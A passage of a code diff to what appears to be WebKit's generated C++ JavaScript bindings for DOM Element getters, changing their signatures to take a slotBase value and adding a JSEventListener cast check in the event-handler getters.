+JSValue jsElementStyle(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->style()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->style()));
+    return result;
 }
 
-JSValue jsElementOffsetLeft(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOffsetLeft(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
-    return jsNumber(exec, imp->offsetLeft());
+    JSValue result = jsNumber(exec, imp->offsetLeft());
+    return result;
 }
 
-JSValue jsElementOffsetTop(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOffsetTop(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
-    return jsNumber(exec, imp->offsetTop());
+    JSValue result = jsNumber(exec, imp->offsetTop());
+    return result;
 }
 
-JSValue jsElementOffsetWidth(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOffsetWidth(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
-    return jsNumber(exec, imp->offsetWidth());
+    JSValue result = jsNumber(exec, imp->offsetWidth());
+    return result;
 }
 
-JSValue jsElementOffsetHeight(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOffsetHeight(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
-    return jsNumber(exec, imp->offsetHeight());
+    JSValue result = jsNumber(exec, imp->offsetHeight());
+    return result;
 }
 
-JSValue jsElementOffsetParent(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOffsetParent(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->offsetParent()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->offsetParent()));
+    return result;
 }
 
-JSValue jsElementClientLeft(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementClientLeft(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
-    return jsNumber(exec, imp->clientLeft());
+    JSValue result = jsNumber(exec, imp->clientLeft());
+    return result;
 }
 
-JSValue jsElementClientTop(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementClientTop(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
-    return jsNumber(exec, imp->clientTop());
+    JSValue result = jsNumber(exec, imp->clientTop());
+    return result;
 }
 
-JSValue jsElementClientWidth(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementClientWidth(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
-    return jsNumber(exec, imp->clientWidth());
+    JSValue result = jsNumber(exec, imp->clientWidth());
+    return result;
 }
 
-JSValue jsElementClientHeight(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementClientHeight(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
-    return jsNumber(exec, imp->clientHeight());
+    JSValue result = jsNumber(exec, imp->clientHeight());
+    return result;
 }
 
-JSValue jsElementScrollLeft(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementScrollLeft(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
-    return jsNumber(exec, imp->scrollLeft());
+    JSValue result = jsNumber(exec, imp->scrollLeft());
+    return result;
 }
 
-JSValue jsElementScrollTop(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementScrollTop(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
-    return jsNumber(exec, imp->scrollTop());
+    JSValue result = jsNumber(exec, imp->scrollTop());
+    return result;
 }
 
-JSValue jsElementScrollWidth(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementScrollWidth(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
-    return jsNumber(exec, imp->scrollWidth());
+    JSValue result = jsNumber(exec, imp->scrollWidth());
+    return result;
 }
 
-JSValue jsElementScrollHeight(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementScrollHeight(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
-    return jsNumber(exec, imp->scrollHeight());
+    JSValue result = jsNumber(exec, imp->scrollHeight());
+    return result;
 }
 
-JSValue jsElementFirstElementChild(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementFirstElementChild(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->firstElementChild()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->firstElementChild()));
+    return result;
 }
 
-JSValue jsElementLastElementChild(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementLastElementChild(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->lastElementChild()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->lastElementChild()));
+    return result;
 }
 
-JSValue jsElementPreviousElementSibling(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementPreviousElementSibling(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->previousElementSibling()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->previousElementSibling()));
+    return result;
 }
 
-JSValue jsElementNextElementSibling(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementNextElementSibling(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->nextElementSibling()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->nextElementSibling()));
+    return result;
 }
 
-JSValue jsElementChildElementCount(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementChildElementCount(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
-    return jsNumber(exec, imp->childElementCount());
+    JSValue result = jsNumber(exec, imp->childElementCount());
+    return result;
 }
 
-JSValue jsElementOnabort(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOnabort(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
     if (EventListener* listener = imp->onabort()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsElementOnblur(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOnblur(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
     if (EventListener* listener = imp->onblur()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsElementOnchange(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOnchange(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
     if (EventListener* listener = imp->onchange()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsElementOnclick(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOnclick(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
     if (EventListener* listener = imp->onclick()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsElementOncontextmenu(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOncontextmenu(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
     if (EventListener* listener = imp->oncontextmenu()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsElementOndblclick(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOndblclick(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
     if (EventListener* listener = imp->ondblclick()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsElementOndrag(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOndrag(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
     if (EventListener* listener = imp->ondrag()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsElementOndragend(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOndragend(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
     if (EventListener* listener = imp->ondragend()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsElementOndragenter(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOndragenter(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
     if (EventListener* listener = imp->ondragenter()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsElementOndragleave(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOndragleave(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
     if (EventListener* listener = imp->ondragleave()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsElementOndragover(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOndragover(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
     if (EventListener* listener = imp->ondragover()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsElementOndragstart(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOndragstart(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
     if (EventListener* listener = imp->ondragstart()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsElementOndrop(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOndrop(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
     if (EventListener* listener = imp->ondrop()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsElementOnerror(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOnerror(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
     if (EventListener* listener = imp->onerror()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsElementOnfocus(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOnfocus(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
     if (EventListener* listener = imp->onfocus()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsElementOninput(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOninput(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
     if (EventListener* listener = imp->oninput()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsElementOninvalid(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOninvalid(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
     if (EventListener* listener = imp->oninvalid()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsElementOnkeydown(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOnkeydown(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
     if (EventListener* listener = imp->onkeydown()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsElementOnkeypress(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOnkeypress(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
     if (EventListener* listener = imp->onkeypress()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsElementOnkeyup(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOnkeyup(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
     if (EventListener* listener = imp->onkeyup()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsElementOnload(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOnload(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
     if (EventListener* listener = imp->onload()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsElementOnmousedown(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOnmousedown(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
     if (EventListener* listener = imp->onmousedown()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsElementOnmousemove(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOnmousemove(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
     if (EventListener* listener = imp->onmousemove()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsElementOnmouseout(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOnmouseout(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
     if (EventListener* listener = imp->onmouseout()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsElementOnmouseover(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOnmouseover(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
     if (EventListener* listener = imp->onmouseover()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsElementOnmouseup(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOnmouseup(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
     if (EventListener* listener = imp->onmouseup()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsElementOnmousewheel(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOnmousewheel(ExecState* exec, JSValue slotBase, const Identifier&)
 {
